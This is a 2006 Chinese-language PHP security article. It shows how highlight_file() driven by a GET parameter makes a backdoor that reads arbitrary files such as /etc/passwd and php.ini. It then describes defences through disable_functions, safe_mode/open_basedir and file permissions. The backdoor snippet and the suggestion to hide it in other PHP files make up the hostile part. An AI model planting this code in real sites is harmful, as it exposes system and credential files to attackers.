函數
[ 後門構造 ]
我們知道php非常強大,並且有很多有趣的功能,比如它就內建了一個php代碼加亮的函數,叫做:highlight_string,它的參數就是一個字串,如果這個字串中包含了PHP代碼,那麼它將高亮顯示,並且直接輸出在瀏覽器中。
比如如下的代碼:
<?php
highlight_string('<?php phpinfo(); ?>');
?>
執行後,在瀏覽器中輸出:
<code><font color="#000000">
<font color="#0000BB"><?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?></font>
</font>
</code>
顯示代碼的顏色,在php.ini檔案中可以設定,php.ini中有如下選項:
;highlight.string = #DD0000
;highlight.comment = #FF9900
;highlight.keyword = #007700
;highlight.bg = #FFFFFF
;highlight.default = #0000BB
;highlight.html = #000000
這個是直接顯示字串顏色的,那麼我要顯示整個PHP檔案呢?也有函數:highlight_file,函數參數就是檔案名稱或者檔案路徑。這個函數跟上面函數功能類似,不過它提交的是一個檔案的路徑而已。
那麼我們的小後門關鍵就在這裡了,就是大概我們利用highlight_file函數來協助我們讀取系統中任意檔案,現在我們構造一段測試代碼。
<?php
$file = $_GET['f'];
$file = $file ? $file : __FILE__;
highlight_file($file);
?>
代碼大致功能就是通過URL中提交一個變數名為f的變數接受需要高亮顯示代碼的php檔案路徑,然後程式在調用highlight_file函數來顯示該檔案。然後把該檔案儲存到我的個人主目錄的public_html目錄下,檔案名稱為test.php。
現在我們使用firefox開啟:http://192.168.0.1/~heiyeluren/test.php,返回的是我們test.php的檔案內容,現在我們存取passwd檔案看看:http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
馬上頁面裡就顯示了很多使用者資訊:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
......
我們再查看php的設定檔php.ini的資訊:
http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini
馬上顯示了:
[PHP]
;;;;;;;;;;;
; WARNING ;
;;;;;;;;;;;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
; For several security-oriented considerations that should be taken
; before going online with your site, please consult php.ini-recommended
; and http://php.net/manual/en/security.php.
......
看來只要許可權允許,很多檔案都能夠直接讀取,對我們系統構成了巨大威脅。換句話說,如果把上面代碼插入到當前web系統中其他任意一個能夠直接存取的php檔案中,通過特殊的變臉進行啟用,而且一般程式員是不會那麼仔細的檢查每個PHP程式檔案,那麼惡意使用者就能夠隨時隨地查看我們的系統檔案。
[ 系統防範 ]
那麼,如果防止,或者說拒絕類似的問題呢?因為,同樣的,php的檔案存取函數非常多,比如file、file_get_contents、readfile等函數,我們如何防止這些函數帶來的威脅呢?
解決方案一:
如果系統中只是跟資料庫進行互動,那麼完全可以屏蔽掉這些檔案存取函數,象fopen、file、file_get_contents、readfile、opendir等函數,方法就是在php的設定檔php.ini中進行禁止,php.ini中有一個選項叫做disable_functions,我們可以把需要屏蔽的函數放到裡面:
disable_functions = highlight_file,fopen,file,file_get_contents,readfile,opendir
那麼上面那些函數就無法使用了,比如你調用了highlight_file函數,那麼php引擎會提示你:
Warning: highlight_file() has been disabled for security reasons in /home/heiyeluren/public_html/test.php on line 5
當然,我們不能一概而殺,只是說你可以禁止掉那些基本不怎麼使用的函數,比如highlight_file我覺得就使用的比較少。
解決方案二:
第一種方法太強制性了,函數禁止後將無法訪問該函數,總是不是那麼的適合,對於一些空間供應商來講,是不合理的,那麼還有一個解決方案,還是配置我們的php.ini,開啟php的安全模式:
safe_mode = On
當然,如果你需要,最好再配置一下open_basedir之類的選項來更好的控制,具體可參考php手冊。
當我們開啟了php的安全模式後,我們再來訪問一下/etc/passwd,提交URL:
http://192.168.0.1/~heiyeluren/test.php?f=/etc/passwd
那麼瀏覽器中馬上就顯示:
Warning: highlight_file() [function.highlight-file]: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /home/heiyeluren/public_html/test.php on line 5
解決方案三:
在不損失我們PHP強大功能前提下,那些函數都能夠正常使用,那防範方法就是設定我們系統中各個目錄的各種不同存取權限,比如我們的/etc/passwd檔案。比如預設是這個許可權:
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r--r-- 1 root root 41489 5 12:40 /usr/local/php/lib/php.ini
我們設定設定一下不是隨便能夠讀的:
[~]# chmod 640 /usr/local/php/lib/php.ini
[~]# ls -al /usr/local/php/lib/php.ini
-rw-r----- 1 root root 1865 Nov 27 01:16 /usr/local/php/lib/php.ini
現在,我們在訪問http://192.168.0.1/~heiyeluren/test.php?f=/usr/local/php/lib/php.ini 看看:
Warning: highlight_file(/usr/local/php/lib/php.ini) [function.highlight-file]: failed to open stream: Permission denied in /home/heiyeluren/public_html/test.php on line 5
Warning: highlight_file() [function.highlight-file]: Failed opening '/usr/local/php/lib/php.ini' for highlighting in /home/heiyeluren/public_html/test.php on line 5
警告說沒有許可權讀取/usr/local/php/lib/php.ini這個檔案,順利達到我們的目的。
[ 結束語 ]
PHP的功能非常強大,希望更多的開發人員認識到這一點,早點使用這個強大的語言。語言強大,當然,安全也會成為一個問題,我們不管是開發人員還是系統管理員,我們都需要密切溝通,把我們的系統做的既安全,又好用。我們就需要努力學習,在強大功能和安全性之間尋求一個良好的結合點。
write by heiyeluren
2006-03-05 下午 13:35